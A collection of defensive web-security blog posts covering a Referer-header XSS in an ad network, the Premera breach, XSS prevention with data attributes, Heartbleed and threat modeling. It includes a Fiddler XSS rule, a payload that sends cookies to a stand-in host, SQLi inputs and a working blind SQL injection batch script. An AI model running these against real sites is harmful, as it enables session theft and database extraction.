My buddy Troy Hunt has a popular PluralSight training class called âHack Yourself Firstâ. This is excellent advice, as it addresses multiple ideas:
Plenty of other reasons, Iâm sure. Maybe I should watch his training.
Every now and again, though, Iâll hack my friends as well. There are a few reasons for this, too:
Such is the way with my recent visit to troyhunt.com â Iâve been researching reflected XSS issues caused by including script in the Referrer header.
Actually, thereâs two places that hold the referrer, and itâs important to know the difference between them, because they get attacked in different ways, and attacks can be simulated in different ways.
The Referrer header (actually misspelled as âRefererâ) is an HTTP header that the browser sends as part of its request for a new web page. The Referrer header contains a URL to the old page that the browser had loaded and which triggered the browser to fetch the new page.
There are many rules as to when this Referrer header can, and canât, be sent. It canât be sent if the user typed a URL. It canât be sent if the target is HTTP, but the source was HTTPS. But there are still enough places it can be sent that the contents of the Referer header are a source of significant security concern â and why you shouldnât EVER put sensitive data in the URL or query parameters, even when sending to an HTTPS destination. Even when RESTful.
Forging the Referer when attacking a site is a simple matter of opening up Fiddler (or your other favourite scriptable proxy) and adding a new automatic rule to your CustomRules.js, something like this:
// AMJ
if (oSession.oRequest.headers.Exists("Referer"))
{
if (oSession.oRequest.headers["Referer"].Contains("?"))
oSession.oRequest.headers["Referer"] += "&\"-prompt()-\"";
else
oSession.oRequest.headers["Referer"] += "?\"-prompt()-\"";
}
else
oSession.oRequest.headers["Referer"] = "http://www.example.com?\"-prompt()-\"";
Something like this code was in place when I visited other recently reported vulnerable sites, but Troyâs I hit manually. Because fun.
The other referrer is in Javascript, the document.referrer field. I couldnât find any rules about when this is, or isnât available. That suggests itâs available for use even in cases where the HTTP Referer header believes it is not safe to do so, at least in some browser or other.
Forging this is harder, and Iâm not going to delve into it. I want you to know about it in case youâve used the Referer header, and referrer-vulnerable code isnât triggering. Avoids tearing your hair out.
So, lately Iâve been testing sites with a URL ending in the magic string ?"-prompt()-"
– and happened to try it at Troyâs site, among others.
Iâd seen a pattern of adsafeprotected.com advertising being vulnerable to this issue. [Itâs not the only one by any means, but perhaps the most prevalent]. Itâs difficult accurately reproducing this issue, because advertising mediators will send you to different advertisers each time you visit a site.
And so it was with great surprise that I tried this on Troyâs site and got an immediate hit. Partly because I know Troy will have already tried this on his own site.
Through a URL parameter, Iâm injecting script into a hosted component that unwisely includes the Referer headerâs contents in its JavaScript without encoding and/or quoting it first.
I hear that one all the time â no big deal, itâs only a reflected XSS, the most you can do with this is to abuse yourself.
Kind of, yeah. Hereâs some of my reasons why Reflected XSS is important:
So, for multiple values of âselfâ outside the attacker, you can abuse yourself with Reflected XSS.
With all security research, there comes a time when you want to make use of your findings, whether to garner yourself more publicity, or to earn a paycheck, or simply to notify the vendor and have them fix something. I prefer the latter, when itâs possible / easy.
Usually, the key is to find an email address at the vulnerable domain â but security@adsafeprotected.com wasnât working, and I couldnât find any hints of an actual web site at adsafeprotected.com for me to go look at.
Troy was able to start from the other direction â as the owner of a site showing these adverts, he contacted the advertising agent that puts ads onto his site, and get them to fix the issue.
âDeveloper Mediaâ was the name of the group, and their guy Chris quickly got onto the issue, as did Jamie from Integral Ads, the owners of adsafeprotected.com. Developer Media pulled adsafeprotected as a source of ads, and Integral Ads fixed their code.
Sites that were previously vulnerable are now not vulnerable â at least not through that exact attack.
I count that as a win.
Finally, some learning.
Your partners can bring you as much risk as your own developers and your own code. You may be able to transfer risk to them, but you canât transfer reputational risk as easily. With different notifications, Troyâs brand could have been substantially damaged, as could Developer Mediaâs and Integral Adsâ. As it is, they all responded quickly, quietly and appropriately, reducing the reputational impact.
[As for my own reputational impact â youâre reading this blog entry, so thatâs a positive.]
This issue was easy to find. So itâs probably been in use for a while by the bad guys. There are issues like this at multiple other sites, not related to adsafeprotected.
So you should test your site and see if itâs vulnerable to this, or similar, code. If you donât feel like youâll do a good job, employ a penetration tester or two.
Thereâs a thin line between âparanoiaâ and âgood security practiceâ. Troyâs blog uses good security practice, by ensuring that all adverts are inside an iframe, where they canât execute in Troyâs security context. While I could redirect his users, perhaps to a malicious or competing site, I wasnât able to read his usersâ cookies, or modify content on his blog.
There were many other hosts using adsafeprotected without being in an iframe.
Make it a policy that all externally hosted content (beyond images) is required to be inside of an iframe. This acts like a firewall between your partners and you.
If youâre a developer, you need to have a security contact, and that contact must be findable from any angle of approach. Security researchers will not spend much time looking for your contact information.
Ideally, for each domain you handle, have the address security@example.com (where you replace âexample.comâ with your domain) point to a monitored email address. This will be the FIRST thing a security researcher will try when contacting you. Finding the âContact Usâ link on your web page and filling out a form is farther down on the list of things a researcher will do. Such a researcher usually has multiple findings theyâre working on, and theyâll move on to notifying someone else rather than spend time looking for how to notify you.
This just makes it more ironic when the inevitable vulnerability is found.
As Troy notes, I did have to disable the XSS Filter in order to see this vuln happen.
That doesnât make the vuln any less important to fix â all it means is that to exploit it, I have to find customers who have also disabled the XSS Filter, or find a way to evade the filter.
There are many sites advising users how to disable the XSS Filter, for various (mostly specious) reasons, and there are new ways every day to evade the filter.
The web ad industry is at a crisis point, from my perspective.
Flash has what appear to be daily vulnerabilities, and yet itâs still seen to be the medium of choice for online advertising.
Even without vulnerabilities in Flash, its programmability lends it to being used by bad guys to distribute malicious software. There are logic-based and time-based exploits (display a âgoodâ ad when inspected by the ad hosting provider; display a bad ad, or do something malicious when displayed on customersâ computers) which attackers will use to ensure that their ad passes rigorous inspection, but still deploys bad code to end users.
Any ad that uses JavaScript is susceptible to common vulnerability methods.
Ad blockers are being run by more and more people â even institutions (one college got back 40% of their network bandwidth by employing ad blocking).
Web sites need to be funded. If youâre not paying for the content, someone is. How is that to be done except through advertising? [Maybe you have a good idea that hasnât been tried yet]
Iâll admit, I was bored when I found the bug on Troyâs site on a weekend. I decided to contact him straight away, and he responded immediately.
This led to Developer Media being contacted late on a Sunday.
This is not exactly friendly of me and Troy â but at least we didnât publish, and left it to the developers to decide whether to treat this as a âfire drillâ.
A good reason, indeed, to use responsible / coordinated disclosure, and make sure that you donât publish until teams are actively working on / have resolved the problem.
There are people using old and poorly configured browsers everywhere. Perhaps they make up .1% of your users. If you have 100,000 users, thatâs a hundred people who will be affected by issues with those browsers.
Firefox escaped because it encoded the quote characters to %22, and the server at adsafeprotected didnât decode them. Technically, adsafeprotectedâs server is not RFC compliant because of this, so Firefox isnât really protecting anyone here.
Chrome escaped because it encoded the quote characters AND has an XSS filter to block things like my attack. This is not 100% safe, and can be disabled easily by the user.
Internet Explorer up to version 11 escaped if you leave the XSS Filter turned on.
Microsoft Edge in Windows 10 escaped because it encodes the quote characters and has a robust XSS Filter that, as far as I can tell, you canât turn off.
All these XSS filters can be turned off by setting a header in network traffic.
Nobody would do that.
Until such time as one of these browsers has a significant flaw in their XSS filter.
So, donât rely on the XSS Filter to protect you â it canât be complete, and it may wind up being disabled.
Not much has been released about exactly how Premera got attacked, and certainly nothing from anyone with recognised insider knowledge.
Disclaimer: I worked at Premera in the Information Security team, but itâs so so long ago that any of my internal knowledge is incorrect â so Iâll only talk about those things that I have seen published.
I am, above all, a customer of Premeraâs, from 2004 until just a few weeks ago. But Iâm a customer with a strong background in Information Security.
Almost everything boils down rather simply to one article as the source of what we know.
http://www.threatconnect.com/news/the-anthem-hack-all-roads-lead-to-china/
February 4, 2015: News stories break about Anthemâs breach (formerly Wellpoint).
January 29, 2015: The date given by Premera as the date when they were first made aware that theyâd been attacked.
I donât think that itâs a coincidence that these dates are so close together. In my opinion, these dates imply that Anthem / Wellpoint found their own issues, notified the network of other health insurance companies, and then published to the news outlets.
As a result of this, Premera recognised the same attack patterns in their own systems.
This suggests that any other health insurance companies attacked by the same group (alleged to be âDeep Pandaâ) will discover and disclose it shortly.
Iâve kind of driven in the idea that Anthem used to be called Wellpoint, and the reason Iâm bringing this out is that a part of the attack documented by ThreatConnect was to create a site called âwe11point.comâ â thatâs âwellpoint.comâ, but with the two letter âelsâ replaced with two âoneâ digits.
Thatâs relevant because the ThreatConnect article also called out that there was a web site called âprennera.comâ created by the same group.
So, given a domain name similar to that of a site you wish to attack, how would you get full access to the company behind that site?
Hereâs just one way you might mount that attack. There are other ways to do this, but this is the most obvious, given the limited information above.
If youâre concerned that Iâm telling attackers how to do this, remember that this is obvious stuff. This is already a well known attack strategy, âhomograph attacksâ. This is what a penetration tester will do if you hire one to test your susceptibility to social engineering.
Thereâs no vulnerability involved, thereâs no particularly obvious technical failing here, itâs just the age-old tactic of giving someone a screen that looks like their logon page, and telling them theyâve failed to logon. I saw this basic form of attack in the eighties, itâs that old.
If youâve been reading my posts to date, youâll know that Iâm aware that security offence is sexy and exciting, but security defence is really where the clever stuff belongs.
I have a few simple recommendations that I think apply in this case:
Another tack thatâs taken by companies is to engage a reputation management company, to register domain names that are homoglyphs to your own (those that look the same in a browser address bar). Or, to file lawsuits that take down such domains when they appear. Whichever is cheaper. My perspective on this is that it costs money, and is doomed to fail whenever a new TLD arises, or your company creates a new brand.
[Not that reputation management companies canât help you with your domain names, mind you â they can prevent you, for instance, from releasing a product with a name thatâs already associated with a domain name owned by another company.]
These three steps are somewhat interdependent, and they may cause a certain degree of inconvenience, but they will prevent exactly the kind of attacks Iâve described. [Yes, there are other potential attacks, but none introduced by the suggested changes]
First, a disclaimer for the TL;DR crowd â data attributes alone will not stop all XSS, mine or anyone elseâs. You have to apply them correctly, and use them properly.
However, I think youâll agree with me that itâs a great way to store and reference data in a page, and that if you only handle user data in correctly encoded data attributes, you have a greatly-reduced exposure to XSS, and can actually reduce your exposure to zero.
Next, a reminder about my theory of XSS â that there are four parts to an XSS attack â Injection, Escape, Attack and Cleanup. Injection is necessary and therefore canât be blocked, Attacks are too varied to block, and Cleanup isnât always required for an attack to succeed. Clearly, then, the Escape is the part of the XSS attack quartet that you can block.
Now letâs set up the code weâre trying to protect – say we want to have a user-input value accessible in JavaScript code. Maybe weâre passing a search query to Omniture (by far the majority of JavaScript Injection XSS issues I find). Hereâs how it often looks:
<script>
s.prop1="mysite.com";
s.prop2="SEARCH-STRING";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
s_code=s.t();
if(s_code)
document.write(s_code)//â>
</script>
Letâs suppose that âSEARCH-STRINGâ above is the string for which I searched.
I can inject my code as a search for:
"-window.open("//badpage.com/"+document.cookie,"_top")-"
The second line then becomes:
s.prop2=""-window.open("//badpage.com/"+document.cookie,"_top")-"";
Yes, I know you canât subtract two strings, but JavaScript doesnât know that until itâs evaluated the window.open()
function, and by then itâs too late, because itâs already executed the bad thing. A more sensible language would have thrown an error at compile time, but this is just another reason for security guys to hate dynamic languages.
A data attribute is an attribute in an HTML tag, whose name begins with the word âdataâ and a hypen.
These data attributes can be on any HTML tag, but usually they sit in a tag which they describe, or which is at least very close to the portion of the page they describe.
Data attributes on table cells can be associated to the data within that cell, data attributes on a body tag can be associated to the whole page, or the context in which the page is loaded.
Because data attributes are HTML attributes, quoting their contents is easy. In fact, thereâs really only a couple of quoting rules needed to consider.
&
â) characters need to be HTML encoded to â&
â. "
â Rules 2 & 3 can simply be replaced with âHTML encode everything in the value other than alphanumericsâ before applying rule 1, and if thatâs easier, do that.
HTML parses attribute value strings very simply â look for the first non-space character after the â=
â sign, which is either a quote or not a quote. If itâs a quote, find another one of the same kind, HTML-decode whatâs in between them, and thatâs the attributeâs value. If the first non-space after the equal sign is not a quote, the value ends at the next space character.
Contemplate how these are parsed, and then see if youâre right:
-
<a onclick="prompt("1")"><a onclick="prompt("1")"></a>
-
<a onclick = "prompt( 1 )"><a onclick = "prompt( 1 )"></a>
-
<a onclick= prompt( 1 ) ><a onclick= prompt( 1 ) ></a>
-
<a onclick= prompt(" 1 ") ><a onclick= prompt(" 1 ") ></a>
-
<a onclick= prompt( "1" ) ><a onclick= prompt( "1" ) ></a>
-
<a onclick= "prompt( 1 )"><a onclick=&#9;"prompt( 1 )"></a>
-
<a onclick= "prompt( 1 )"><a onclick=&#32;"prompt( 1 )"></a>
-
<a onclick= thing=1;prompt(thing)><a onclick= thing=1;prompt(thing)></a>
-
<a onclick="prompt(\"1\")"><a onclick="prompt(\"1\")"></a>
Try each of them (they aren’t live in this document – you should paste them into an HTML file and open it in your browser), see which ones prompt when you click on them. Play with some other formats of quoting. Did any of these surprise you as to how the browser parsed them?
Hereâs how they look in the Debugger in Internet Explorer 11:
Uh⊠Thatâs not right, particularly line 8. Clearly syntax colouring in IE11âs Debugger window needs some work.
OK, letâs try the DOM Explorer:
Much better â note how the DOM explorer reorders some of these attributes, because itâs reading them out of the Document Object Model (DOM) in the browser as it is rendered, rather than as it exists in the source file. Now you can see which are interpreted as attribute names (in red) and which are the attribute values (in blue).
Other browsers have similar capabilities, of course â use whichever one works for you.
Hopefully this demonstrates why you need to follow the rules of 1) quoting with double quotes, 2) encoding any ampersand, and 3) encoding any double quotes.
So, now if I use those data-attributes, my HTML includes a number of tags, each with one or more attributes named âdata-
something-or-otherâ.
Accessing these tags from basic JavaScript is easy. You first need to get access to the DOM object representing the tag â if youâre operating inside of an event handler, you can simply use the âthis
â object to refer to the object on which the event is handled (so you may want to attach the data-
* attributes to the object which triggers the handler).
If youâre not inside of an event handler, or you want to get access to another tag, you should find the object representing the tag in some other way â usually document.getElementById(âŠ)
Once you have the object, you can query an attribute with the function getAttribute(âŠ)
â the single argument is the name of the attribute, and whatâs returned is a string â and any HTML encoding in the data-attribute will have been decoded once.
Other frameworks have ways of accessing this data attribute more easily â for instance, JQuery has a â.data(âŠ)
â function which will fetch a data attributeâs value.
Iâve noted before that stopping XSS is a âsimpleâ matter of finding where you allow injection, and preventing, in a logical manner, every possible escape from the context into which you inject that data, so that it cannot possibly become code.
If all the data you inject into a page is injected as HTML attribute values or HTML text, you only need to know one function â HTML Encode â and whether you need to surround your value with quotes (in a data-attribute) or not (in HTML text). Thatâs a lot easier than trying to understand multiple injection contexts each with their own encoding function. Itâs a lot easier to protect the inclusion of arbitrary user data in your web pages, and youâll also gain the advantage of not having multiple injection points for the same piece of data. In short, your web page becomes more object-oriented, which isnât a bad thing at all.
You can still kick your own arse.
When converting user input from the string you get from getAttribute
to a numeric value, what function are you going to use?
Please donât say âeval
â.
Eval is evil. Just like innerHtml
and document.write
, its use is an invitation to Cross-Site Scripting.
Use parseFloat()
and parseInt()
, because they wonât evaluate function calls or other nefarious components in your strings.
So, now Iâm hoping your Omniture script looks like this:
<div id="myDataDiv" data-search-term="SEARCH-STRING"></div>
<script>
s.prop1="mysite.com";
s.prop2=document.getElementById("myDataDiv").getAttribute("data-search-term");
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
s_code=s.t();
if(s_code)
document.write(s_code)//â>
</script>
You didnât forget to HTML encode your SEARCH-STRING, or at least its quotes and ampersands, did you?
P.S. Omniture doesn’t cause XSS, but many people implementing its required calls do.
Last weekend, along with countless employees and ex-employees of Microsoft, Amazon, Expedia, and Premera itself, I received a breach notification signed by Premeraâs President & CEO, Jeffrey Roe.
Hereâs a few things I think can already be learned from this letter and the available public information:
Whenever I see the phrase âsophisticated cyberattackâ, not only am I turned off by the meaningless prefix âcyberâ, which seems to serve only to âbaffle them with bullshitâ, but Iâm also convinced that the author is trying to convince me that, hey, this attack was just too amazing and science-fictiony to do anything to stop.
All that does is push me in the other direction â to assume that the attack was relatively simple, and should have been prevented and/or noticed.
Granted, my experience is in Information Security, and so Iâm always fairly convinced that itâll be the simple attacks, not the complex and difficult ones, that will be the most successful against any site Iâm trying to protect. Itâs a little pessimistic, but itâs been proven right time and again.
So, never say that an attack is âsophisticatedâ unless you really mean that the attack was way beyond what could have been reasonably imagined. You donât have to say the attackers used simple methods to get in because your team are idiots, because thatâs unlikely to be entirely true, either. Just donât make it sound like itâs not your fault. And donât make that your opening gambit, either â this was the very first sentence in Premeraâs notification.
âsome of your personal information may have been accessedâ
Again, this phrasing simply makes me think âthese guys have no idea what was accessedâ, which really doesnât inspire confidence.
Instead, you should say âthe attackers had access to all our information, including your personal and medical dataâ. Then acknowledge that you donât have tracking on what information was exported, so you have to act as if it all was.
The worst apologies on record all contain some variation of âIâm sorry youâre upsetâ, or âIâm sorry you took offenceâ.
Premeraâs version of this is âWe ⊠regret the concern it may causeâ. So, not even âsorryâ. And to the extent that itâs an apology at all, it is that we, current and past customers, were âconcernedâ.
Premera Blue Cross (âPremeraâ) âŠ
⊠Information Technology (IT) systems
As if the lack of apology didnât already tip us off that this document was prepared by a lawyer, the parenthetical creation of abbreviations to be used later on makes it completely clear.
If the letter had sounded more human, it would have been easier to receive as something other than a legal arse-covering exercise.
The letter acknowledges that the issue was discovered on January 29, 2015, and the letter is dated March 17, 2015. Thatâs nearly two months. And nearly a year since the attackers got in. Thatâs assuming that youâve truly figured out the extent of the âsophisticated cyberattackâ.
Actually, thatâs pretty fast for security breach disclosure, but it still gives the impression to customers that you arenât letting them know in enough time to protect themselves.
The reason given for this delay is that Premera wanted to ensure that their systems were safe before letting other attackers know about the issue â but itâs generally a fallacy to assume that attackers donât know about your vulnerabilities. Premera, and the health insurance industry, do a great job of sharing security information with other health insurance providers â but the attackers do an even better job of sharing information about vulnerable systems and tools.
Which leads us toâŠ
If your company doesnât have a prepared breach disclosure letter, approved by public relations, the security team and your lawyers, itâs going to take you at least a week, probably two, to put one together. And youâll have missed something, because youâre preparing it in a rush, in a panic, and in a haze while youâre angry and scared about having been attacked.
Your prepared letter wonât be complete, and wonât be entirely applicable to whatever breach finally comes along and bites you, but itâll put you that much closer to being ready to handle and communicate that breach. Youâll still need to review it and argue between Security, Legal and PR teams.
Have a plan for this review process, and know the triggers that will start it. Maybe even test the process once in a while.
If you believe that breaches could require a credit notification or ID tracking protection, negotiate this ahead of time, so that this will not slow you down in your announcement. Or write your notification letter with the intent of providing this information at a later time.
Finally, because your notification letter will miss something, make sure it includes the ability to update your customers â link to an FAQ online that can be updated, and provide a call-in number for people to ask questions of an informed team of responders.
Thereâs always more information coming out about this vulnerability, and I plan to blog a little more about it later.
Let me know in particular if thereâs something youâd like me to cover on this topic.
But then, Iâm hacking your website because of a 15-year-old flaw.
Itâs been noted for some time that I love playing with XSS, simply because itâs so widespread, and because itâs an indication of the likely security stance of the rest of the website.
But if XSS is important because itâs widely spread, itâs got a relatively low impact.
Slightly less widely spread, but often the cause of far greater damage, is SQL injection.
Iâll talk some more later about how SQL injection happens, but for now a quick demonstration of the power of SQL injection.
Every demonstration of SQL injection Iâve ever seen includes this example:
sqlCommandString = "SELECT userid FROM users WHERE userid='" + inputID + "' AND password='" + inputPass + "'"
And of course, the trick here is to supply the user ID âadmin
â and the password â' OR 1='1
â.
Sure, IF you have that code in your app, that will let the user in as admin.
But then, IF you have that code in your app, you have many bigger problems than SQL injection â because your user database contains unprotected passwords, and a leak will automatically tell the world how poor your security is, and always has been.
More likely, if you have SQL injection in the logon code at all, is that you will have code like this:
sqlCommandString = "SELECT userid, password FROM users WHERE userid='" + inputID + "'"
⊠execute sqlCommandString âŠ
⊠extract salt âŠ
⊠hash incoming password âŠ
⊠compare salted hash of incoming password against stored password âŠ
Again, if you were to have designed poorly, you might allow for multiple user records to come back (suppose, say, you allow the user to reuse old passwords, or old hashing algorithms), and you accept the first account with the right password. In that case, yes, an attacker could hack the login page with a common password, and the user ID â' OR userid LIKE '%
â â but then the attacker would have to know the field was called userid, and theyâre only going to get the first account in your database that has that password.
Doubtless there are many login pages which are vulnerable to SQL injection attacks like this, but they are relatively uncommon where developers have some experience or skill.
Where do you use a SQL-like database?
Anywhere thereâs a table of data to be queried, whether itâs a dictionary of words, or a list of popular kitchen repair technicians, etc, etc.
Imagine Iâve got a dictionary searching page, weblexicon.example (that doesnât exist, nor does weblexicon.com). Its main page offers me a field to provide a word, for which I want to see the definition.
If I give it a real word, it tells me the definition(s).
If I give it a non-existent word, it apologises for being unable to help me.
Seems like a database search is used here. Letâs see if itâs exploitable, by asking for âexample’â â thatâs âexampleâ with an extra single quote at the end.
Thatâs pretty cool â we can tell now that the server is passing our information off to a MySQL server. Those things that look like double-quotes around the word âexampleâ are in fact two single-quotes. A bit confusing, but it helps to understand whatâs going on here.
So, letâs feed the web lexicon a value that might exploit it. Sadly, it doesnât accept multiple commands, and gives the âYou have an error in your SQL syntaxâ message when I try it.
Worse still, for some reason I canât use the âUNIONâ or âJOINâ operators to get more data than Iâm allowed. This seems to be relatively common when there are extra parentheses, or other things we havenât quite guessed about the command.
That means weâre stuck with Blind SQL injection. With a blind SQL injection, or Blind SQLi, you can generally see whether a value is true or false, by the response you get back. Remember our comparison of a word that does exist and a word that doesnât? Letâs try that in a query to look up a true / false value:
So now, we can ask true / false questions against the database.
Seems rather limiting.
Letâs say weâre looking to see if the MySQL server is running a particular vulnerable version â we could ask for âexample’ and @@version=’1.2.3.4â â a true response would give us the hint that we can exploit that vulnerability.
But the SQL language has so many other options. We can say âdoes your version number begin with a â4ââ
Or 5.
A bit more exciting, but still pedestrian.
What if I want to find out what the currently executing statement looks like? I could ask âis it an âaâ? a âbâ? a âcâ?â and so on, but that is too slow.
Instead, I could ask for each bit of the characters, and thatâs certainly a good strategy â but the one I chose is to simply do a binary search, which is computationally equivalent.
A fifteen-year-old vulnerability (SQL injection is older than that, but I couldnât do the maths) deserves the same age of language to write my attack in.
So I chose batch file and VBScript (OK, theyâre both older than 15). Batch files canât actually download a web page, so thatâs the part I wrote in VBScript.
And the fun thing to dump would be all of the table names. That way, we can see what we have to play with.
So here you go, a simple batch script to do Blind Boolean SQL injection to list all the tables in the system.
setlocal ENABLEDELAYEDEXPANSION
setlocal ENABLEEXTENSIONS
echo wscript.echo chr(wscript.arguments(0)) > charout.vbs
set last=
set stem=%last%
set lasti=0
set out=sqli.out
:looping
@set found=_
:looping2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+like+'%stem%%%')+and+1='1 >%out%
@findstr /c:"1. [n" %out%> nul || (
set last2=%stem:\_=_%
if "!last!" lss "!last2!" (
set last=!last2!
echo !last!
set /a lasti=!lasti!+1
set stem=
rem pause
goto :looping
)
rem pause
set stem=!stem:~0,-1!
title %stem%.
goto :looping2
)
@set nchars=1
@set nqueries=0
:charloop
@set lower=32
@set higher=127
:check
@set /a mid = (%lower% + %higher%) / 2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+(ascii(substring((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+from+%nchars%+for+1))+between+%lower%+and+%mid%)+and+1='1 >%out%
@set /a nqueries=%nqueries%+1
@findstr /c:"1. [n" %out%> nul && (
set higher=%mid%
set /a mid=%lower%-1
)
@set /a lower=%mid%+1
@if %lower% EQU 127 goto donecheck
@if %lower% NEQ %higher% goto check
@if %lower% EQU 32 @(set found= )
@for /f %%a in ('cscript charout.vbs //nologo %lower%') do @set found=%%a
@rem pause
@set stem=%stem%%found%
@rem echo . | set /p foo=%found: =+%
@title !stem!
@set /a nchars=%nchars%+1
@goto charloop
:donecheck
@echo %lasti%: %stem%
@rem (%nqueries% queries)
@rem pause
@set /a lasti=!lasti!+1
@set stem=
@goto :looping
And the output (demonstrating that there are still some concurrency issues to take care of):
0: CHARACTER_SETS
1: COLLATIONS
2: COLLATION_CHARACTER_SET_APPLICABILITY
3: COLUMNS
4: COLUMN_PRIVILEGES
5: ENGINES
6: EVENTS
7: F
8: GLOBAL_SgATUS
9: GLOBAL_VARIABLES
10: KEY_COLUMN_USAGE
11: PARAMETERS
12: PARTITIONS
13: PLUGINS
14: PROCESSLIST
15: PROFILING
16: REFERENTIAL_CONSTRAINTS
17: ROUTINES
18: SCHEMATA
19: SCHEMA_PRIVILEGES
20: SESSION_STATUS
21: SESSION_VARIABLES
22: STATISTICS
23: TABLES
24: TABLESPACES
25: TABLE_CONSTRAINTS
26: TABLE_PRIVILEGES
27: TRIGGERS
28: USER_PRIVILEGES
29: VIEWS
30: INNODB_BUFFER_PAGE
31: INNODB_TRX
32: INNODB_BUFFER_POOL_S
33: INNODB_LOCK_WAITS
34: INNODB_CMPMEM
35: INNODB_CMP
36: INNODB_LOCKS
37: INNODB_CMPMEM_RESET
38: INNODB_CMP_RESET
39: INNODB_BUFFER_PAGE_
40: alternatives
41: quotes
42: words
Yes, thatâs all it takes.
If youâre a developer of a web app which uses a relational database back-end, take note â itâs exactly this easy to dump your database contents. A few changes to the batch file, and Iâm dumping column names and types, then individual items from tables.
And thatâs all assuming Iâm stuck with a blind SQL injection.
The weblexicon site lists table contents as its definitions, so in theory I should be able to use a UNION or a JOIN to add data from other tables into the definitions it displays. Itâs made easier by the fact that I can also access the command Iâm injecting into, by virtue of MySQL including that in a process table.
Note that if Iâm attacking a different site with a different injection point, I need to make two changes to my batch script, and Iâm away. Granted, this isnât exactly sqlmap.py, but then again, sqlmap.py doesnât always find or exploit all the vulns that you have available.
The takeaways today:
The code in this article is for demonstration purposes â Iâm not going to explain how it works, although it is very simple. The only point of including it is to show that a small amount of code can be the cause of a huge extraction of your siteâs data, but can be prevented by a small change.
Donât use this code to do bad things. Donât use other code to do bad things. Bad people are doing bad things with code like this (and better) already. Do good things with this code, and keep those bad people out.
Hopefully, youâll all know by now what Heartbleed is about. Itâs not a virus, itâs a bug in a new feature that was added to a version of OpenSSL, wasnât very well checked before making it part of the standard build, and which has for the last couple of years meant that any vulnerable system can have its running memory leached by an attacker who can connect to it. I have a number of approaches to make to this, which I havenât seen elsewhere:
You know me, Iâm all about the âdefence against the dark artsâ side of information security â itâs fun to attack systems, but itâs more interesting to be able to find ways to defend.
Here are some of my suggestions about programming practices that would help:
Thereâs just a few ideas off the top of my head. Itâs true that this was a HARD bug to find in automated code review, or even with manual code review (though item 2 above tells you that I think the code looked perverse enough for a reviewer to demand better, cleaner code that could at least be read).
Clearly, from the number of sites (in all countries) affected negatively by this flaw, from the massive hysteria that has resulted, as well as the significant thefts disclosed to date, this bug was a National Security issue.
So, how does the US government respond to the allegations going around that they had knowledge of this bug for a long time?
By denying the allegations? By asserting they have a mandate to protect?
No, by reminding us that theyâll protect US (and world) industries UNLESS thereâs a benefit to spying in withholding and exploiting the bug.
There was even a quote in the New York Times saying:
âYou are not going to see the Chinese give up on âzero daysâ just because we do.â
No, youâre going to see âthe Chineseâ [we always have to have an identifiable bogeyman] give up on zero days when our response to finding them is to PATCH THEM, not hold them in reserve to exploit at our leisure.
Specifically, if we patch zero days when we find them, those weapons disappear from our adversariesâ arsenals.
If we hold on to zero days when we find them, those weapons are a part of our adversariesâ arsenals (because the bad guys share better than the good guys).
National Security officials should recognise that in cyberwar – which consists essentially of people sending postcards saying âplease hit yourselfâ to one another, and then expressing satisfaction when the recipient does so â you win by defending far more than by attacking.
Itâs often been stated that âmany eyeballsâ review open source code, and as a result, the reviews are of implicitly better quality than closed source code.
Clearly, OpenSSL is an important and widely used piece of security software, and yet this change was, by all accounts, reviewed by three people before being published and widely deployed. Only one of those people works full time for OpenSSL, and another was the author of the feature in question.
There are not âmanyâ eyeballs working on this review. Closed source will often substitute paid eyeballs for quantity of eyeballs, and as a result will often achieve better reviews.
Remember, itâs the quality of the review that counts, and not whether the source is closed or open.
Closed source that is thoroughly reviewed by experts is better than open source thatâs barely reviewed at all.
Yes, XKCD delivered perhaps the most widely used analogy.
But hereâs the one I use to describe it to family members.
Imagine youâre manning a reception desk.
Calls come in, you write down messages, and you send them off.
At some point, you realise that this is a waste of paper, so you start writing your messages on a whiteboard.
Wiping the whole whiteboard for each message is a waste of effort, so you only wipe out enough space to write each incoming message.
Some messages are long, some are short.
One day, you are asked to read a message back to the person who leaves it, just after you wrote it.
And to make it easy, they tell you how long their message is.
If someone gave you a six letter message, and asked you to read all six hundred letters of it back to them, youâd be upset, because thatâs not how many letters they gave you.
Computers arenât so smart, they are just really fast idiots.
The computer doesnât get surprised that you sent six characters and ask for six hundred back, so it reads off the entire whiteboard, containing bits and pieces of every message youâve had sent through you.
And because most messages are small, and only some are large, thereâs almost an entire message in each response.
Amid almost no fanfare whatsoever, Microsoft yesterday released a tool Iâve been begging them for over the last five or six years.
[This is not unusual for me to be so persistently demanding, as Iâve found itâs often the only way to get what I want.]
As youâve guessed from the title, this tool is the âSDL Threat Modeling Tool 2014â. Sexy name, indeed.
Well, yeah, kind of. Thereâs the TAM Threat Analysis & Modeling Tool, which is looking quite creaky with age now, and which I never found to be particularly usable (though some people have had success with it, so Iâm not completely dismissive of it). Then thereâs the previous versions of the SDL Threat Modeling Tool.
These have had their uses â and certainly itâs noticeable that when I work with a team of developers, one of whom has worked at Microsoft, itâs encouraging to ask âshow me your threat modelâ and have them turn around with something useful to dissect.
In a word, Cost.
Threat modeling tools from other than Microsoft are pretty pricey. If youâre a government or military contractor, theyâre probably great and wonderful. Otherwise, youâll probably draw your DFDs in PowerPoint (yes, thatâs one of the easier DFD tools available to most of you!), and write your threat models in Word.
Unless, of course, you download and use the Microsoft SDL Threat Modeling Tool, which has always been free.
The SDL TM tool itself was free, but it had a rather significant dependency.
Visio.
Visio is not cheap.
As a result, those of us who championed threat modeling at all in our enterprises found it remarkably difficult to get approval to use a free tool that depended on an expensive tool that nobody was going to use.
With the release of Microsoft SDL Threat Modeling Tool 2014, Microsoft has finally delivered a tool that allows for the creation of moderately complex DFDs (you donât want more complex DFDs than that, anyway!), and a threat library-based analysis of those DFDs, without making it depend on anything more expensive or niche than Windows and .NET. [So, essentially, just Windows.]
Yes, that means no Visio required.
A quick bullet list of some of the features youâll like, besides the lack of Visio requirement:
Yes, every good blog post has to have one of these, doesnât it? What am I asking you to do with this information?
Download the tool. Try it out on a relatively simple project, and see how easy it is to generate a few threats.
Once youâre familiar with the tool, visit the KnowledgeBase directory in the toolâs installation folder, and read the XML files that were used to create your threats.
Add an object type.
Add a data flow type.
Add custom properties that describe your custom types.
Use those custom properties in a rule you create to generate one of the common threats in your environment.
